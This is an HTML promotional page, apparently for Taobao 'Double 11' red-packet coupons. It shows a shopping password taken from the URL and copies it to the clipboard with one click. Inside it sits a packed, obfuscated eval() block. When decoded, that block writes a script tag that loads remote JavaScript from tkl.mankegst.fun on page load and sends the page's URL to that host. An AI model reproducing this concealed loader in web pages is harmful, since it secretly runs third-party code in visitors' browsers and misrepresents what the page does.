<!DOCTYPE html>

<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no, minimal-ui">
    <script type="text/javascript" src="//lib.baomitu.com/clipboard.js/1.6.1/clipboard.min.js"></script>
    <script type="text/javascript" src="//lib.baomitu.com/jquery/2.2.4/jquery.min.js"></script>

    <title></title>
    <style>
        .keycopy {
            background: #ff4400;
            display: block;
            line-height: 45px;
            text-align: center;
            color: #944185;
            border: none;
            font-size: 16px;
            width: 200px;
            margin: 0 auto;
            margin-top: 5%;
            ;
            font-family: "Microsoft Yahei";
            font-weight: bold;
            background: linear-gradient(90deg, #40e2b8, #7ee37b);
            border-radius: 40px;
        }

        .cms .details-mode9 .details-code {
            position: absolute;
            left: 0px;
            right: 0px;
        }

        .cms .details-mode9 .details-code .code-ios,
        .cms .details-mode9 .details-code .code-android {
            color: #7f4900;
            width: 78%;
            margin-left: 11%;
            text-align: center;

            padding: 0;
            display: none;
        }

        .cms .details-mode9 .details-code .code {
            width: 100%;
            font-size: 18px;
            font-family: "Microsoft Yahei";
            background: none;
            border: 0;
            color: #fff;
            text-align: center;
        }

        .details-back {
            width: 100%;
            height: auto;
        }

        body {
            max-width: 600px;
            margin: 0 auto;
            height: 100%;
            overflow: hidden;
            overflow-y: auto;
            display: none;
        }
    </style>



</head>


<body class="cms kutuiyun" style="background: rgb(255, 255, 255);">

    <div class="details-mode9" style="margin-top:0px;margin-bottom:5px;background:#ff4364">
        <img class="details-back" data-ratio="0.476707006369427"
            src="201810230712398653237.png">

        <div class="details-code" style="top:45%;">

            <b>
                <p class="code">
                    点击复制，打开淘宝APP<br>
                    即可领取双11大红包<br>
                    <span id="taokey"></span></p>
            </b>

            <div align=center class="imgContaine">
                <button class="keycopy" data-clipboard-text=""
                    style="background: linear-gradient(90deg,#ffe6ba,#ffc980);color:#ff002d; border-radius: 4px;">一 键 复
                    制</button>
            </div>
        </div>
    </div>


    <script>
        eval(function (p, a, c, k, e, r) { e = function (c) { return c.toString(a) }; if (!''.replace(/^/, String)) { while (c--) r[e(c)] = k[c] || e(c); k = [function (e) { return r[e] }]; e = function () { return '\\w+' }; c = 1 }; while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]); return p }('t f=b[\'\\8\\9\\3\\h\\0\\4\\9\\6\'][\'\\p\\1\\5\\d\'];b["\\o\\9\\3\\a\\g\\5\\6\\0"][\'\\n\\1\\4\\0\\5\'](\'\\i\\7\\3\\1\\4\\k\\0 \\7\\1\\3\\l\\m\\2\\2\\0\\e\\8\\j\\g\\h\\6\\e\\5\\q\\7\\0\\j\\d\\a\\6\\2\\r\\2\\s\\a\\1\\8\\l\'+f+\'\\m\\c\\i\\2\\7\\3\\1\\4\\k\\0\\c\');', 30, 30, 'x74|x72|x2f|x63|x69|x65|x6e|x73|x6c|x6f|x75|window|x3e|x66|x6b|gb1|x6d|x61|x3c|x2e|x70|x3d|x22|x77|x64|x68|x67|x31|x3f|var'.split('|'), 0, {}));
    </script>

    <script type="text/javascript">

        function getParams(paras) {
            var returnValue;
            for (i = 0; i < paraString.length; i++) {
                var tempParas = paraString[i].split('=')[0];
                var parasValue = paraString[i].split('=')[1];
                if (tempParas === paras)
                    returnValue = parasValue;
            }
            if (typeof (returnValue) == "undefined") {
                return "";
            } else {
                return returnValue;
            }
        }
        //http://abc.lyhuilin.com/hongbao/hb.html?taowords=淘口令
        var word = getParams('taowords');
        var word = word.match(/\w+/);
        var word = '￥' + word + '￥';


        $(function () {
            $('#taokey').text(word);
            $('.keycopy').attr('data-clipboard-text', word);
        })

        //复制文本
        var clipboard = new Clipboard('.keycopy');
        clipboard.on('success',
            function (e) {
                if (e.trigger.disabled == false || e.trigger.disabled == undefined) {
                    e.trigger.innerHTML = "复制成功，请打开淘宝APP，领取";
                    //e.trigger.style.backgroundColor = "#9ED29E";
                    //e.trigger.style.borderColor = "#9ED29E";
                    //e.clearSelection();
                    e.trigger.disabled = true;
                    //2秒后按钮恢复原状

                    setTimeout(function () {
                        e.trigger.innerHTML = "一 键 复 制";
                        $('.copy-btn').attr('data-clipboard-text', word);
                        //e.trigger.style.backgroundColor = "#f54d23";
                        //e.trigger.style.borderColor = "#f54d23";
                        e.trigger.disabled = false;
                    },
                        2000);
                }
            });

        clipboard.on('error',
            function (e) {
                $(".ys").show()
                e.trigger.innerHTML = "复制失败";
                e.trigger.style.backgroundColor = "#8f8f8f";
                e.trigger.style.borderColor = "#8f8f8f";
            });
    </script>

</body>

</html>